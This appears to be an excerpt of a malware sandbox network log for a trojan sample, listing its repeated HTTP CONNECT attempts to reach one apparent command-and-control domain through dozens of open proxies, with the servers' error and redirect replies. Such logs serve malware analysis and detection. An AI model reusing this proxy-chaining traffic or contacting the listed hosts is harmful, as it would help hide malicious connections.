Feb 23, 2024 14:28:25.211600065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.8	51551	27.76.194.13	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.123229980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.8	51613	172.67.182.153	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.128742933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.216403961 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.8	51583	188.166.56.246	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.133260012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.747701883 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:26 GMT Server: Apache/2.4.38 (Debian) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 6d 61 78 6c 65 67 67 69 65 72 69 40 67 6d 61 69 6c 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at maxleggieri@gmail.com to inform them
Feb 23, 2024 14:28:26.747739077 CET	270	IN	Data Raw: 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 Data Ascii: of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.38 (Debian) Server at api.growbot.dk Port 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.8	51637	104.20.123.164	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.137146950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.224860907 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.8	51595	70.166.167.38	57728	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.147867918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.8	51597	98.162.25.4	31654	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.148154974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.8	51600	194.145.209.189	8083	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.148462057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.8	51129	72.210.252.134	46164	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.149002075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.8	49756	198.12.253.1	37106	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.149347067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.288609982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.381695032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382715940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.398019075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:01.397839069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:13.429182053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.8	49715	117.54.114.103	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.169802904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.8	49716	146.56.101.184	21681	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.172023058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.8	49765	51.250.13.88	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.180932045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.194955111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.195270061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.288875103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.382422924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:01.382253885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:13.397838116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.8	51572	20.210.113.32	8123	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.181497097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.460062027 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.8	51649	184.60.66.122	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.188321114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.324625969 CET	1286	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 13:28:25 GMT Server: Apache/2.4.56 (Debian) Location: https://heygirlisheeverythingyouwantedinaman.com:443/index.php Content-Length: 3239 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4d 6f 62 69 6c 65 4f 70 74 69 6d 69 7a 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64 68 65 6c 64 46 72 69 65 6e 64 6c 79 22 20 63 6f 6e 74 65 6e 74 3d 22 74 72 75 65 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 50 20 43 6f 6d 70 75 74 69 6e 67 20 43 6f 6e 63 65 70 74 73 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6c 69 62 2f 64 70 63 63 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 55 62 75 6e 74 75 3a 34 30 30 2c 33 30 30 2c 37 30 30 2c 35 30 30 2c 34 30 30 69 74 61 6c 69 63 25 37 63 44 69 64 61 63 74 2b 47 6f 74 68 69 63 3a 73 75 62 73 65 74 3d 6c 61 74 69 6e 2d 65 78 74 25 37 63 4d 75 6c 69 3a 34 30 30 2c 34 30 30 69 74 61 6c 69 63 2c 33 30 30 69 74 61 6c 69 63 2c 33 30 30 25 37 63 41 6d 69 6b 6f 3a 34 30 30 2c 37 30 30 22 0d 0a 20 20 20 20 20 20 20 20 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 40 35 2e 31 2e 33 2f 64 69 73 74 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 0d 0a 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 31 42 6d 45 34 6b 57 42 71 37 38 69 59 68 46 6c 64 76 4b 75 68 66 54 41 55 36 61 75 55 38 74 54 39 34 57 72 48 66 74 6a 44 62 72 43 45 58 53 55 31 6f 42 6f 71 79 6c 32 51 76 5a 36 6a 49 57 33 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 40 35 2e 31 2e 33 2f 64 69 73 74 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 62 75 6e 64 6c 65 2e 6d 69 6e 2e 6a 73 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 6b 61 37 53 6b 30 47 6c 6e 34 67 6d 74 7a 32 4d 6c 51 6e 69 6b 54 31 77 58 67 59 73 4f 67 2b 4f 4d 68 75 50 2b 49 6c 52 48 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"/> <meta name="MobileOptimized" content="width"/> <meta name="HandheldFriendly" content="true"/> <meta name="viewport" content="width=device-width, initial-scale=1.0"/> <link rel="shortcut icon" href="/favicon.ico" type="image/vnd.microsoft.icon"/> <title>DP Computing Concepts</title> <link rel="stylesheet" href="/lib/dpcc.css"> <link href="https://fonts.googleapis.com/css?family=Ubuntu:400,300,700,500,400italic%7cDidact+Gothic:subset=latin-ext%7cMuli:400,400italic,300italic,300%7cAmiko:400,700" media="all" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous"></head><body> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH
Feb 23, 2024 14:28:25.325681925 CET	1286	IN	Data Raw: 39 73 45 4e 42 4f 30 4c 52 6e 35 71 2b 38 6e 62 54 6f 76 34 2b 31 70 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 Data Ascii: 9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script><header> <div class="row mt-2"> <div class="col-sm-auto">
Feb 23, 2024 14:28:25.327146053 CET	894	IN	Data Raw: 74 65 6d 73 2e 20 57 65 20 68 61 76 65 20 64 65 76 65 6c 6f 70 65 64 20 73 65 6e 73 6f 72 20 73 79 73 74 65 6d 73 20 66 6f 72 20 6d 6f 6e 69 74 6f 72 69 6e 67 20 62 61 73 69 63 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 61 6c 20 63 6f 6e 64 69 74 69 6f Data Ascii: tems. We have developed sensor systems for monitoring basic environmental conditions for growing agricultural products such as grapes. These sensors are capable of remotely monitoring temperature, humidity, light levels, and soil moistur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.8	51632	145.239.2.102	42147	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.193299055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.632329941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.195175886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.288661957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382729053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.382725000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.492074966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.8	51571	43.131.245.216	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.193814039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.8	51658	72.195.34.58	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.223860979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.8	51120	173.249.33.122	49382	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.230071068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.288691998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.381695032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382719994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.398056984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.8	49806	217.182.153.29	12000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.255013943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.087182999 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.8	51654	79.110.201.235	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.261646986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.8	51676	104.20.51.99	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.265604973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
